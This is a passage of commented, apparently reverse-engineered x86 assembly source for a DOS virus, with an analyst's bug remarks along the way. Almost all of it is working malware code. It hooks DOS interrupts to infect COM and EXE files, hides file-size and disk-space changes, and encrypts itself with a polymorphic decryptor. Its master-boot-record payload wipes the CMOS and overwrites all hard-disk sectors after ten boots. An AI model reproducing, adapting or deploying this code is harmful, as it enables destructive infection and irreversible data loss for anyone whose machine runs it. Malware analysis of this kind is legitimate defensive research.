exec? :cmp ah, 4Bh ; Exec file?jne no_exec ; No? then jmppush axpush sipush dipush espush cxpush dsmov cs : ticks_disableFD , 30* 18 ; 30 secondsor cs : flags , 2 ; Don't disable FDcall enable_FDmov si , dxcall end_fnamedec simov di , offset ( end_chkdsk )mov cx , end_chkdsk - end_wswappush cspop escall cmp_strings ; chkdsk.exe?jnc no_chkdsk ; No? then jmpor cs : flags , 80h ; No stealth

no_chkdsk :pop dspop cxpop espop dipop sipop ax

no_exec :test cs : flags , 1 ; bit0 never is 1!!! I think...jnz not_open ; then this jump is never usedcall disinfect_file

not_open :pop dxjmp exit_i21

fffnh :call int21h ; Find-first/nextjc ret_fffnh ; jmp if no more filespushfcall push_registersmov ah, 2Fhcall int21h ; Get DTApush espop ds

mov dx , bxadd dx , 1Ehcall exe_or_com? ; if bp=0 then not exe/comor bp, bp ; Exe or Com?jz end_fffnh ; No? then jmpmov ax ,[ bx +( dta_date - dta )]shr ah, 1cmp ah, 64h ; Infected?jb end_fffnh ; No? then jmpmov ax , es :[ bx +( dta_date - dta )] ; Get file datercr ah, 1pushfsub ah, 100 ; Set original datepopfrcl ah, 1mov es :[ bx +( dta_date - dta )], axsub [ bx +( dta_sizel - dta )], offset ( length_virus )

end_fffnh :call pop_registerspopf

ret_fffnh :retf 2

jmp_infect_on_exit :jmp infect_on_exit

int_21 :mov cs : into_i21 , 1cmp ah, 4Ch ; Exit program via ah=4Ch?je jmp_infect_on_exit ; Yes? then jmp (infect)or ah, ah ; Exit program via ah=0?jz jmp_infect_on_exit ; Yes? then jmp (infect)cmp ah, 31h ; Exit program via ah=31h (TSR)?je jmp_infect_on_exit ; Yes? then jmp (infect)cmp ax , 0B0Bh ; Our check?je resident_check ; Yes? then jmptest cs : flags , 80h ; Do stealth?jnz exit_i21 ; No? then jmpcmp ah, 4Bh ; Exec?je jmp_disinfect ; Yes? then jmp (disinfect)cmp ah, 11h ; FF FCB?je jmp_fffnfcb ; Yes? then jmp (length stealth)cmp ah, 12h ; FN FCB? je jmp_fffnfcb ; Yes? then jmp (length stealth)cmp ah, 4Eh ; FF handle?je fffnh ; Yes? then jmp (length stealth)cmp ah, 4Fh ; FN handle?je fffnh ; Yes? then jmp (length stealth)cmp ah, 3Dh ; Open?je jmp_disinfect ; Yes? then jmp (disinfect)cmp ah, 6Ch ; Extended open?je jmp_disinfect ; Yes? then jmp (disinfect)cmp ah, 36h ; Get Disk free?je disk_free ; Yes? then jmp (free space stealth)cmp ah, 0Fh ; Open file using FCB?je open_delete_FCB ; Yes? then jmp (infect)cmp ah, 13h ; Delete file using FCB?je open_delete_FCB ; Yes? then jmp (infect)cmp ah, 17h ; Rename file using FCB?je jmp_rename_FCB ; Yes? then jmp (infect/disinfect)cmp ah, 41h ; Delete file?je del_getsetattr ; Yes? then jmp (infect)cmp ah, 56h ; Rename file?

je jmp_rename ; Yes? then jmp (infect/disinfect)cmp ax , 4300h ; Get attributes?je del_getsetattr ; Yes? then jmp (infect)cmp ax , 4301h ; Set attributes?je del_getsetattr ; Yes? then jmp (infect)cmp ah, 3Eh ; Close file?je jmp_close ; Yes? then jmp (infect)

exit_i21 :mov cs : into_i21 , 0jmp dword ptr cs : ofs_i21

resident_check :mov ax , 0EFEFhiret

del_getsetattr :jmp jmp_try_infect_file

jmp_close :jmp close

jmp_fffnfcb :jmp fffnfcb

jmp_disinfect :jmp disinfect

jmp_rename :jmp rename_handle

jmp_rename_FCB :jmp rename_FCB

open_delete_FCB :push dspush dxcall make_fnamecall try_to_infect_filepop dxpop dsjmp exit_i21

save_free :mov cs : into_i21 , 0mov cs : stored_psp , bx ; Store program PSP dirmov cs : stored_drive , dl ; Store drivepop bxcall int21h ; Get free spacemov cs : clusters_avail , bx ; Store free spaceretf 2

disk_free :push bxpush axmov ah, 62hcall int21h ; Get PSP address in BXpop axcmp bx , cs : stored_psp ; Same program?jne save_free ; No? then jmpcmp dl , cs : stored_drive ; Same drive?jne save_free ; No? then jmppop bxcall int21h ; Get free spacemov bx , cs : clusters_avail ; Return previous free spaceretf 2

int_27 :push cxmov cl , 4shr dx , cl ; div 16

pop cxinc dx ; inc paragraphsmov ax , 3100h ; To exec int 21h, AX=3100 (TSR)jmp infect_on_exit

int_20 :xor ax , ax ; To exec int 21h, AX=0 (exit)

infect_on_exit :push axpush dspush dxpush bxpushfpush cspop dscmp activity_checks , 1 ; Checking activity?jne set_checks ; No? then jmpjmp ints_set

set_checks :mov activity_checks , 1mov ah, 34hcall int21h ; Get address of DOS activity flagmov ofs_flagdos , bx ; Store itmov seg_flagdos , esmov al , 8call get_int_vector ; Get int 8mov ofs_i8 , bx ; Store itmov seg_i8 , esmov al , 17hcall get_int_vector ; Get int 17hmov ofs_i17 , bx ; Store itmov seg_i17 , esmov al , 25hcall get_int_vector ; Get int 25hmov ofs_i25 , bx ; Store itmov seg_i25 , esmov al , 26hcall get_int_vector ; Get int 26hmov ofs_i26 , bx ; Store itmov seg_i26 , esmov ax , 5D06hcall int21h ; Get address of DOS swappable areamov cs : ofs_swpdos , si ; Store itmov cs : seg_swpdos , dsxor ax , axmov ds , axclimov word ptr ds :[ 8h* 4], offset ( int8 ) ; Set int 8mov ds :[ 8h* 4+2], csmov word ptr ds :[ 17h* 4], offset ( int17 ) ; Set int 17hmov ds :[ 17h* 4+2], csmov word ptr ds :[ 25h* 4], offset ( int25 ) ; Set int 25hmov ds :[ 25h* 4+2], csmov word ptr ds :[ 26h* 4], offset ( int26 ) ; Set int 26hmov ds :[ 26h* 4+2], csstimov si , 400h ; Address of COM portsmov di , offset ( com_ports )push cspop esmovsw ; com1movsw ; com2

movsw ; com3movsw ; com4

ints_set :test cs : flags , 40h ; bit14 never is 1!!! I think...jnz get_parent_psp ; then this jump is never usedcall get_fname_env

get_parent_psp :mov ah, 62hcall int21h ; Get current PSP address mov ds , bxmov ax , ds :[ 16h ] ; Get parent PSPmov ds , axmov ax , ds :[ 16h ] ; Get parent PSP (of parent PSP :)mov bx , dscmp ax , bx ; Same PSP? Parent=command interpreter?jne no_reset_flags ; No? then jmpand cs : flags , 0 ; Clear flags

no_reset_flags :popfpop bxpop dxpop dspop axmov cs : into_i21 , 0jmp dword ptr cs : ofs_i21

close :call push_registerspush bxcall set_i24_i1B_i23call get_ofs_fnamepop bxclcmov ax , 1220hint 2Fh ; GET JOB FILE TABLE ENTRY

; BX = file handle; Return: CF set on error, AL = 6; CF clear if successful ; ES:DI -> JFT entry for file handle ; in current process

jc end_closecmp byte ptr es :[ di ], 0FFh ; No table?je end_close ; Yes? then jmpclcpush bxmov bl , es :[ di ] ; Get file entry numberxor bh, bhmov ax , 1216hint 2Fh ; GET ADDRESS OF SYSTEM FILE TABLE

; BX = system file table entry number; Return: CF clear if successful, ; ES:DI -> system file table entry; CF set if BX greater than FILES=

pop bxjc end_closepush espop dsand word ptr [ di +2], 0FFF8hor word ptr [ di +2], 2 ; File open mode 2 (I/O)add di , cs : ofs_sftmov dx , didec dxcall make_fname

push cspop dsmov dx , offset ( filename )call infect_file

end_close :call restore_i24_i1b_i23call pop_registersjmp exit_i21

jmp_try_infect_file :call try_to_infect_filejmp exit_i21

push_registers :pop cs : return_dirpush axpush bxpush cxpush dxpush espush dspush sipush dipush bpjmp cs : return_dir

pop_registers :pop cs : return_dirpop bppop dipop sipop dspop espop dxpop cxpop bxpop axjmp cs : return_dir

get_fname_env :call push_registersmov ah, 62hcall int21h ; Get PSP address in BXmov ds , bxmov ds , ds :[ 2Ch] ; Get environment segmentxor si , simov cx , 400h

search4fname :mov ax ,[ si ] ; Get wordor ax , ax ; Zero?jz no_more_variables ; Yes? then jmp inc siloop search4fnamejmp _pop_regs

no_more_variables :add si , 4 ; Pathname of environment ownermov dx , sicall try_to_infect_file

_pop_regs :call pop_registersret

try_to_infect_file :call push_registerscall normalize_fnamecall set_i24_i1B_i23 ; Set intscall get_reset_attr ; Save & reset attributesjc error_writingmov ax , 3D02hcall int21h ; Open file I/Ojc error_writingmov bx , ax ; bx:=handlecall infect_filemov ah, 3Ehcall int21h ; Close filecall restore_attr ; Restore attributes

error_writing :call restore_i24_i1b_i23call pop_registersret

st_command equ $- 1db 'COMMAND.'

ext_com db 'COM'end_command equ word ptr $- 1gdi_exe db 'GDI.EXE'end_gdi equ word ptr $- 1

db 'DOSX.EXE'end_dosx equ word ptr $- 1

db 'WIN386.EXE'end_win386 equ word ptr $- 1

db 'KRNL286.EXE'end_krnl286 equ word ptr $- 1

db 'KRNL386.EXE'end_krnl386 equ word ptr $- 1

db 'USER.'bad_end_user equ word ptr $- 2ext_exe db 'EXE'end_user equ word ptr $- 1

db 'WSWAP.EXE'end_wswap equ word ptr $- 1

db 'CHKDSK.EXE'end_chkdsk equ word ptr $- 1

normalize_fname :push dspop espush dxpop sipush sipop dimov ax , 1211hint 2Fh ; NORMALIZE ASCIZ FILENAME

; DS:SI -> ASCIZ filename to normalize; ES:DI -> buffer for normalized filename; Return: destination buffer filled with ; uppercase filename, with slashes turned ; to backslashes

ret

cmp_strings : ; Compare two strings; OUTPUT: Carry=1 if strings are equal

stdnext_char :

lodsb

cmp al , ' 'je next_char ; Ignore spacesinc sicmpsbloope next_charclcor cx , cx ; Matching strings?jnz no_match ; No? then jmpstc ; Set carry

no_match :ret

infect_file :push dspush dxcall exe_or_com?or bp, bp ; Exe or Com?jz not_infect ; No? then jmppush bpcall cmp_fname ; Valid filename?pop bpjc not_infect ; No? then jmpmov ax , 4200hxor cx , cxxor dx , dxcall int21h ; Lseek startjc not_infectcall read_headerjc not_infectcall check_if_execall check_if_infected ; Already infected?jz not_infect ; Yes? then jmpcall get_ftimecall write_virusjc not_infectcall restore_ftime

not_infect :pop dxpop dsret

restore_ftime :mov ax , 5701hmov cx , cs : f_timemov dx , cs : f_datecall int21h ; Restore file date & timeret

restore_attr :mov ax , 4301hmov cx , cs : attribscall int21h ; Restore attributesret

get_ftime :mov ax , 5700hcall int21h ; Get file timemov cs : f_time , cxmov cs : f_date , dxret

get_reset_attr :mov ax , 4300h

call int21h ; Get attributesmov cs : attribs , cx ; Store attributesmov ax , 4301hxor cx , cxcall int21h ; Reset attributesret

check_if_exe :cmp cs : _signature , 5A4Dh ; EXE?jz is_exe ; Yes? then jmpcmp cs : _signature , 4D5Ah ; EXE?jz is_exe ; Yes? then jmpmov bp, 1 ; It's COMret

is_exe :mov bp, 3 ; It's EXEret

cmp_fname :mov si , dxcall end_fnamedec si ; SI points to end fnamemov bp, sipush cspop esmov di , offset ( end_command)mov cx , end_command- st_commandcall cmp_strings ; COMMAND.COM?jc invalid_fname ; Yes? then jmpmov si , bpmov di , offset ( end_gdi )mov cx , end_gdi - end_commandcall cmp_strings ; GDI.EXE?jc invalid_fname ; Yes? then jmpmov si , bpmov di , offset ( end_dosx )mov cx , end_dosx - end_gdicall cmp_strings ; DOSX.EXE?jc invalid_fname ; Yes? then jmpmov si , bpmov di , offset ( end_win386 )mov cx , end_win386 - end_dosxcall cmp_strings ; WIN386.EXE?jc invalid_fname ; Yes? then jmpmov si , bpmov di , offset ( end_krnl286 )mov cx , end_krnl286 - end_win386call cmp_strings ; KRNL286.EXE?jc invalid_fname ; Yes? then jmpmov si , bpmov di , offset ( end_krnl386 )mov cx , end_krnl386 - end_krnl286call cmp_strings ; KRNL386.EXE?jc invalid_fname ; Yes? then jmpmov si , bpmov di , offset ( bad_end_user ) ; BUG!!!! offset(end_user)mov cx , end_user - end_krnl386call cmp_strings ; USER.EXE? (BUG)jc invalid_fname ; Yes? then jmpmov si , bpmov di , offset ( end_wswap)mov cx , end_wswap- end_usercall cmp_strings ; WSWAP.EXE?

jc invalid_fname ; Yes? then jmpclc ; Valid filename

invalid_fname :ret

get_file_encryption :push cspop dsmov ofs_virus , offset ( length_virus )- offset ( l_mask )call lseekmov ah, 3Fhmov dx , offset ( code_mask )mov cx , 1call int21h ; Read 1 byte (encryption mask)push cspop dsmov ofs_virus , offset ( length_virus )-( offset ( prefix_op )+ 1)call lseekmov ah, 3Fhmov dx , offset ( ofs_virus )mov cx , 1call int21h ; Read 1 bytecmp byte ptr ofs_virus , 0F6h ; Not encryption?je m_not ; Yes? then jmpcmp byte ptr ofs_virus , 80h ; Xor encryption?je m_xor ; Yes? then jmpcmp byte ptr ofs_virus , 0D0h ; Ror encryption?je m_ror ; Yes? then jmpcmp byte ptr ofs_virus , 0FEh ; Dec encryption?je m_dec ; Yes? then jmp

m_not :mov crypt_method , 1ret

m_xor :mov crypt_method , 0ret

m_ror :mov crypt_method , 2ret

m_dec:mov crypt_method , 3ret

check_if_infected :push cspop dscall get_file_encryptionmov ofs_virus , offset ( length_virus )- offset ( gdi_exe )call lseekmov ah, 3Fhmov dx , offset ( ofs_virus )mov cx , 2call int21h ; Read 2 bytesmov si , offset ( ofs_virus )call decrypt_bytesmov cx ,word ptr gdi_execmp cx , ofs_virus ; Infected file?ret

get_n_di : ; Get SI in [0, DI, DI*2]call get_randommov cl , 0Ehshr ax , cl ; AX in [0..3]

mov si , dimul simov si , axsub si , dijns not_negneg si

not_neg :ret

get_1byte_inst :call get_randommov cl , 0Ehshr ax , cl ; AX in [0..3]mov si , axmov al ,byte ptr [ si +one_byte_inst ]ret

mbr_code :clixor ax , axmov ss , axmov sp , 7C00hpush cspop dsmov cx , end_mbr_code - mbr_codemov bx , 7C00h+( st_mbr_enc - mbr_code )

tmbr_code :push cx

decrypt_mbr :xor byte ptr [ bx ], 0 ; xor byte ptr [bx],mask_mbr

mask_mbr equ byte ptr $- 1inc bxloop decrypt_mbr

st_mbr_enc :mov ax , 910hmov es , ax ; ES:=0910hmov ah, 8mov dl , 80hint 13h ; Get current drive parametersinc ch ; Inc max. cylindersub cl , 2 ; Dec*2 max. sectormov dl , 80hmov ax , 201hmov bx , spint 13h ; Read 1 sector inc word ptr es :[ bx ] ; Inc boots countermov ax , 301hint 13h ; Write sector cmp word ptr es :[ bx ], 10 ; <10 boots?jb no_activate ; Yes? then jmpmov word ptr es :[ bx ], 0 ; Reset boots countermov ax , 301hint 13h ; Write 1 sector

kill_cmos_hd :mov bp, 7C00hin al , 21h ; Interrupt controller, 8259A.or al , 2 ; Disable keyboard IRQout 21h , al ; Interrupt controller, 8259A.mov cx , 40h

kill_cmos :mov al , clout 70h , al ; CMOS Memoryxor al , al

out 71h , al ; Fill CMOS with zeros loop kill_cmosmov dl , 80h ; 1st HD

kill_hd :mov bh, dlmov ah, 8int 13h ; Get current drive parameters mov dl , bh ; DL:=80hmov al , clmov cx , 101h ; Start in cylinder 1, sector 1

other_cylinder :push dx

other_head :push axmov ah, 3int 13h ; Write sectorpop axdec dh ; dec headjnz other_headpop dxcmp ch , 0FFh ; Cylinder=255?pushfinc ch ; Inc cylinderpopfjne other_cylinder ; No? then jmpxor ax , axmov ds , ax ; ds:=0cmp byte ptr ds :[ 475h ], 1 ; <=1 HD present?jbe continue_killing ; Yes? then jmpinc dl ; Next HDjmp kill_hd ; Kill it

continue_killing :test cl , 80h ; More cylinders? jnz c_768 ; Yes? then jmptest cl , 40h ; More cylinders?jnz c_256 ; Yes? then jmpmov cl , 41h ; Cylinder 256->512

jmp_other_cylinder :xor ch , chjmp other_cylinder

c_256 :mov cl , 81h ; Cylinder 512->768jmp jmp_other_cylinder

c_768 :mov cl , 0C1h ; Cylinder 768->1024jmp jmp_other_cylinder

no_activate :mov ax , ds :[ 413h ] ; Number of KBssub ax , 8 ; Get 8 KBmov cl , 6shl ax , cl ; Calculate base segmentmov es , axxor di , dipop cxmov si , spcldrep movsb ; Move codemov ax ,( read_code_from_disk - mbr_code )push espush axretf ; jmp read_code_from_disk

read_code_from_disk :mov ax , end_mbr_code - mbr_codemov cl , 4shr ax , cl ; Calculate relative segmentinc ax ; Next segmentmov bx , csadd ax , bx ; Calculate absolute segmentmov es , ax ; Base segment for codemov ah, 8mov dl , 80hint 13h ; Get current drive parametersinc chmov dl , 80hsub cl , 0Ehmov ax , 20Chxor bx , bxint 13h ; Read 12 sectors (code) mov al , cs :[ mask_orig_mbr - mbr_code ]mov es : mask_orig_mbr , almov es : changes_i21 , 0mov es : loading_dos , 0mov ah, cs :[ floppy_types - mbr_code ]mov es : floppy_types , ahmov dx , 0Ahmov al , 10hout 70h , al ; CMOS Memory: diskette drive typein al , 71h ; CMOS Memory: read byteor al , al ; Zero? No floppy?jnz already_enabled ; Yes? then jmpmov dx , 6mov al , 10hcall write_cmos ; Enable floppy

already_enabled :xor ax , axmov ds , ax ; ds:=0mov byte ptr ds :[ 700h ], 16h ; Mark in DOS segmentmov bp, cs :[ inst_hard - mbr_code ]mov ds :[ 410h ], bplds si , ds :[ 21h* 4] ; Get int 21hclimov es :[ boot_i21 ], dsstimov ds , axlds si , ds :[ 1Ch* 4] ; Get int 1Chmov es :[ ofs_1c ], si ; Store itmov es :[ seg_1c ], dsmov ds , axclimov ds :[ 1Ch* 4], offset ( int1Ch ) ; Set new int 1Chmov ds :[ 1Ch* 4+2], esstimov es , axmov bx , 7C00hcmp dx , 0Ah ; Was the floppy enabled?jz no_read_boot ; Yes? then jmpxor dx , dxint 13h ; Reset drive A: mov si , 2

try_read_again :mov ax , 201hmov cx , 1int 13h ; Read sector (boot)jnc exec_boot_mbr

dec sijnz try_read_again

no_read_boot :mov ah, 8mov dl , 80hint 13h ; Get current drive parametersinc chdec clmov dl , 80hmov ax , 201hint 13h ; Read 1 sector (original MBR)mov al , cs :[ mask_orig_mbr - mbr_code ]mov si , bxmov cx , 512

dec_orig_mbr :xor es :[ si ], al ; Decrypt original MBRinc siloop dec_orig_mbr

exec_boot_mbr :db 0EAhdw 7C00h, 0 ; jmp far ptr 0:7C00h

; Exec original MBR/boot A:

write_cmos : ; Input: AL = CMOS address; AH = byte to writeclior al , 80h ; Disable NMIout 70h , al ; CMOS Memory: Select addressmov al , ahjmp $+2jmp $+2out 71h , al ; CMOS Memory: Write bytemov al , 0jmp $+2jmp $+2out 70h , al ; CMOS Memory: Select addressstiret

mask_orig_mbr db 60h;_b2cfloppy_types db 24h;_b2dinst_hard dw 4461hchksum_method db 0changes_i21 db 2

end_mbr_code :

int1Ch :call push_registerscmp cs : loading_dos , 1 ; Loading DOS?je dos_present ; Yes? then jmpxor ax , axmov ds , ax ; DS:=0cmp byte ptr ds :[ 700h ], 16h ; Mark present?je no_dos_loaded ; Yes? then jmpmov cs : loading_dos , 1 ; No? then loading DOSsub word ptr ds :[ 413h ], 8 ; Get 8 KBcall disable_FD

dos_present :xor ax , axmov es , ax ; ES:=0

mov ax , cs : boot_i21cmp es :[ 21h* 4+2], ax ; Int 21h changed? je no_dos_loaded ; No? then jmpmov ds , es :[ 21h* 4+2]mov cs : boot_i21 , ds ; Save segment of new i21hinc cs : changes_i21cmp cs : changes_i21 , 2 ; Two changes?

; (DOS changes i21h 2 times)jne no_dos_loaded ; No? then jmppush cspop esmov di , offset ( _header )xor al , almov cx , 115hcldrep stosb ; Clear data areapush cspop dsmov al , 13hcall get_int_vector ; Get int 13hmov ofs_i13 , bx ; Store itmov seg_i13 , escall set_ints ; Initialize intspush cspop dsxor ax , axmov es , ax ; ES:=0lds di ,dword ptr ofs_1cclimov es :[ 1Ch* 4], di ; Restore int 1Chmov es :[ 1Ch* 4+2], dsadd word ptr es :[ 413h ], 8 ; Return the 8 KB to the

; system (the DOS is loaded; and will not use them)

stino_dos_loaded :

call pop_registersiret

read_cmos : ; Input: AL = address to read; Output: AH = byte from CMOS

or al , 80h ; Disables NMIcliout 70h , al ; CMOS Memory: Select addresscall waste_timein al , 71h ; CMOS Memory: Read bytemov ah, almov al , 0call waste_timeout 70h , al ; CMOS Memory: Select address 0stiret

set_ints :push cspop dsmov flags , 80hmov point , '.'mov jmp_virus , 0E9h ; jmp opcodemov al , 21hcall get_int_vector ; Get int 21hmov ofs_i21 , bx ; Store itmov seg_i21 , es

mov al , 13hcall get_int_vector ; Get int 13hmov ofs_i13_2 , bx ; Store itmov seg_i13_2 , esxor ax , axmov ds , ax ; DS:=0climov word ptr ds :[ 21h* 4], offset ( int_21 ) ; Set new i21mov ds :[ 21h* 4+2], csmov word ptr ds :[ 20h* 4], offset ( int_20 ) ; Set new i20mov ds :[ 20h* 4+2], csmov word ptr ds :[ 27h* 4], offset ( int_27 ) ; Set new i27mov ds :[ 27h* 4+2], cssticall patch_i13ret

disable_FD :test cs : flags , 2 ; Permission to disable floppy?jnz no_disable_fd ; No? then jmpcmp cs : chksum_method , 2 ; Known checksum method?je no_disable_fd ; No? then jmppush axmov ax , 10hcall write_cmos ; Disable FD from CMOScall write_CMOS_chksum ; Calculate new checksumpop ax

no_disable_fd :ret

enable_FD :cmp cs : chksum_method , 2 ; Known checksum CMOS method?je no_change_cmos ; No? then jmppush axmov ah, cs : floppy_typesmov al , 10hcall write_cmos ; Enable FD drivescall write_CMOS_chksum ; Restore cmos checksumpop ax

no_change_cmos :ret

write_CMOS_chksum :call push_registerscmp cs : chksum_method , 1 ; Method 2?je write_CMOS_chksum2 ; Yes? then jmpcall calculate_CMOS_checksum_1mov al , 2Ehmov ah, dhcall write_cmos ; Store new checksum in CMOSmov al , 2Fhmov ah, dlcall write_cmosjmp _pops

write_CMOS_chksum2 :call calculate_CMOS_checksum_2mov al , 32hmov ah, dhcall write_cmos ; Store new checksum in CMOSmov al , 33hmov ah, dlcall write_cmos

_pops :

call pop_registersret

calculate_CMOS_checksum_1 :mov cx , 1Ehxor dx , dxmov al , 10h

next_cmos_byte :mov bl , alcall read_cmosmov al , blinc alpush axxchg ah, alxor ah, ahadd dx , ax ; Make checksumpop axloop next_cmos_byteret

calculate_CMOS_checksum_2 :mov cx , 22hxor dx , dxmov al , 10h

next_byte_CMOS :mov bl , alcall read_cmosmov al , blinc alpush axxchg ah, alxor ah, ahxor dx , ax ; Make checksumpop axloop next_byte_CMOSret

write_virus :push cspop dspush cspop esmov di , offset ( num_bytes )mov [ di ], offset ( length_virus ) ; Bytes to decryptcall get_randommov cl , 0Bhshr ax , cl ; AX in [0..1Fh]add [ di ], ax ; Variable number of bytes to decryptcmp bp, 1 ; COM file?jne write_start_exe ; No? then jmpmov ax , 4202hxor cx , cxxor dx , dxcall int21h ; Lseek endcmp ax , 1Ch ; size > 1Ch bytes?ja check_if_big ; Yes? then jmpjmp _ret_2 ; Stupid jmp!!

check_if_big :mov di , axpush axclcadd ax , offset ( vir_end )+ 495 ; !?

pop axjnc write_start_com ; Too big? No, then jmpjmp _ret_2 ; Stupid jmp!!

write_start_com :call write_jmptovirjnb make_decryptorjmp _ret_2 ; Stupid jmp!!

write_start_exe :call write_header_exejnc make_decryptorjmp _ret_2 ; Stupid jmp!!

make_decryptor :call get_1byte_instmov _1cx , almov di , 3call get_n_di ; Get 0 or 3 or 6 in SIadd si , offset ( table_reg_source ) ; Source registermov di , offset ( r_source )cldmovsb ; the movmov di , offset ( r_op )movsb ; the source registermov di , offset ( i_inc )movsb ; the incmov di , 4call get_n_di ; Get 0 or 4 or 8 in SIadd si , offset ( table_reg_index ) ; Index registermov di , offset ( r_index )movsb ; the movmov di , offset ( d_loop )movsb ; Store dec+jne or loop+garbagemovswcall get_randommov cl , 0Ehshr ax , cl ; AX in [0..3]: get encrytion methodmov crypt_method , alcall get_randommov cl , 0Fhshr ax , cl ; AX in [0..1]jnz no_xchg_instmov di , offset ( xchg1 ) ; xchg 2 instructionsmov si , offset ( r_index )push dipush simovswmovswmovswpop di ; DI:=offset(xchg1)mov si , offset ( xchg2 )movswmovsbpop simovswmovsb

no_xchg_inst :cmp crypt_method , 0 ; Xor?jz enc_met_xor ; Yes? then jmpcmp crypt_method , 1 ; Not?jz enc_met_not ; Yes? then jmpcmp crypt_method , 2 ; Rol?

jz enc_met_rol ; Yes? then jmpcmp crypt_method , 3 ; Dec?jz enc_met_inc ; Yes? then jmp

enc_met_xor :mov prefix_op , 802Eh ; xor cs:jmp decryptor_done

enc_met_not :mov prefix_op , 0F62Eh ; not cs:call get_1byte_instmov l_mask , al ; Don't need a masksub r_op , 20hjmp decryptor_done

enc_met_inc :mov prefix_op , 0FE2Eh ; inc cs:call get_1byte_instmov l_mask , al ; Don't need a masksub r_op , 30hjmp decryptor_done

enc_met_rol :mov prefix_op , 0D02Eh ; rol cs:call get_1byte_instmov l_mask , al ; Don't need a masksub r_op , 30h

decryptor_done :cmp bp, 1 ; COM file?jne encrypt_code_and_write ; No? then jmp

; In EXE we need SEG CS:mov ax , offset ( encrypt_code_and_write )push axcall get_randommov cl , 0Ehshr ax , cl ; AX in [0..3]: Get segment prefixcmp al , 1 ; Seg SS?je seg_ss ; Yes? then jmpcmp al , 2 ; Seg ES?je seg_es ; Yes? then jmpcmp al , 3 ; Seg CS?je seg_cs ; Yes? then jmpcall get_1byte_inst ; if al=0mov byte ptr prefix_op , al ; Subst CS: by one byte inst.ret ; jmp encrypt_code_and_write

seg_es :mov byte ptr prefix_op , 26h ; SEG ES:ret ; jmp encrypt_code_and_write

seg_cs :mov byte ptr prefix_op , 2Eh ; SEG CS:

; BUG!!!! Already CS:; It would be DS: (3Eh)

ret ; jmp encrypt_code_and_writeseg_ss :

mov byte ptr prefix_op , 36h ; SEG SS:ret ; jmp encrypt_code_and_write

encrypt_code_and_write :mov dx , offset ( buffer_enc )mov cl , 4shr dx , cl ; Calculate base addressinc dxpush cspop axadd ax , dxmov es , ax

get_no_zero :call get_randomor al , al ; Zero? jz get_no_zero ; Yes? then jmpcmp crypt_method , 0 ; XOR? Need a maskjnz not_mask ; No? then jmpmov cs : l_mask , al ; Store maskmov dl , al

not_mask :push dxmov ax , 4202hxor cx , cxxor dx , dxcall int21h ; Lseek endmov ah, 40hxor dx , dxmov cx , offset ( code_enc )mov si , cxcall int21h ; Write decryptor to filepop dxxor di , di

enc_next_byte :lodsbcmp crypt_method , 1 ; Not?jz _not ; Yes? then jmpcmp crypt_method , 0 ; Xor?jz _xor ; Yes? then jmpcmp crypt_method , 2 ; Rol?jz _rol ; Yes? then jmpcmp crypt_method , 3 ; Inc?jz _inc ; Yes? then jmp

_xor :xor al , dljmp enc_byte

_not :not aljmp enc_byte

_inc :dec aljmp enc_byte

_rol :ror al , 1

enc_byte :stosb ; Store encrypted bytecmp si , offset ( length_virus ) ; All encrypted?ja all_encrypted ; Yes? then jmpcmp di , 512 ; Write in blocks of 512 bytes

; End of a block?je write_512 ; Yes? then jmp

jmp_enc_next :jmp enc_next_byte

write_512 :push dspush espush dxmov ah, 40hpush espop dsmov cx , dixor dx , dxcall int21h ; Write an encrypted 512-blockjc _ret_2

pop dxpop espop dsxor di , dijmp jmp_enc_next

all_encrypted :mov ah, 40hmov cx , didec cxxor dx , dxpush espop dscall int21h ; Write last blockmov ax , cs : f_datercr ah, 1pushfadd ah, 100 ; Mark infected (add 100 years)popfrcl ah, 1mov cs : f_date , axclc

_ret_2 :ret

cmp_3bytes :mov cx , 3cldrep cmpsbret

exe_or_com? :push cspop esmov si , dxcall end_fname ; filename.ext

; ^ SIsub si , 3 ; filename.ext

; ^SImov di , offset ( ext_com )push sicall cmp_3bytes ; COM?pop sijne cmp_exe ; No? then jmpmov bp, 1ret

cmp_exe :mov di , offset ( ext_exe )push sicall cmp_3bytes ; EXE?pop sijne not_execom ; No? then jmpmov bp, 3ret

not_execom :xor bp, bpret

get_random : ; Get random number in AXxor al , alout 43h , al ; Timer 8253-5 (AT: 8254.2).in al , 40h ; Timer 8253-5 (AT: 8254.2).

mov ah, alin al , 40h ; Timer 8253-5 (AT: 8254.2).ret

make_fname :push sipush dipush espush cxpush axmov si , dxinc simov cx , 8mov di , offset ( filename )push cspop esrep movsb ; Store namemov si , dxadd si , 9mov cx , 3mov di , offset ( filename_ext )rep movsb ; Store extensionpush cspop dsmov dx , offset ( filename )call normalize_fnamepop axpop cxpop espop dipop siret

host_type db 1 ; 1 = COM ; 3 = EXE

table_reg_source :db 0BBh ; mov bx,????db 37h ; reg BXinc bx

db 0BEh ; mov si,????db 34h ; reg SIinc si

db 0BFh ; mov di,????db 35h ; reg DIinc di

;100C table_reg_index :; Using AX

db 0B8h ; mov ax,????dec axjne $- 6

; Using CX db 0B9h ; mov cx,????loop $- 5

_1cx equ byte ptr $ ; 1 byte instructionclc

; Using DX db 0BAh ; mov dx,????dec dxjne $- 6

one_byte_inst :nopstdcldclc

read_header :mov ah, 3Fhmov cx , 1Chpush cspop dsmov dx , offset ( _header )call int21h ; Read file headerret

get_ofs_fname :push cspop dsmov ah, 30hcall int21h ; Get DOS versionmov ofs_sft , 20hxchg ah, alcmp ax , 300h ; DOS 3.0?jne not_inc_offset ; No? then jmpinc ofs_sft ; ofs_sft:=21h

not_inc_offset :ret

end_fname : ; Output: SI points to end of filename

mov cx , 43hsearch_end_fname : ; Search end of filename (0)

mov al ,[ si ]or al , al ; Zero?jz end_asciiz ; Yes? then jmpinc siloop search_end_fname

end_asciiz :ret

int21h :pushfcall dword ptr cs : ofs_i21ret

int13h :pushfcall dword ptr cs : ofs_i13ret

int13hbp :pushfcall dword ptr cs :[ bp+ofs_i13 ]ret

int24h :mov al , 3

_iret :iret

set_i24_i1B_i23 :push ds

push cspop dspush bxmov ax , 3524hcall int21h ; Get int 24hmov [ ofs_i24 ], bx ; Save itmov [ seg_i24 ], esmov al , 1Bhcall int21h ; Get int 1Bhmov [ ofs_i1b ], bx ; Save itmov [ seg_i1b ], esmov al , 23hcall int21h ; Get int 23hmov [ ofs_i23 ], bx ; Save itmov [ seg_i23 ], espop bxpush axpush dxmov ax , 2524hmov dx , offset ( int24h )call int21h ; Set new int 24hmov al , 1Bhmov dx , offset ( _iret )call int21h ; Set new int 1Bh (iret)mov al , 23hmov dx , offset ( _iret )call int21h ; Set new int 23h (iret)pop dxpop axpop dsret

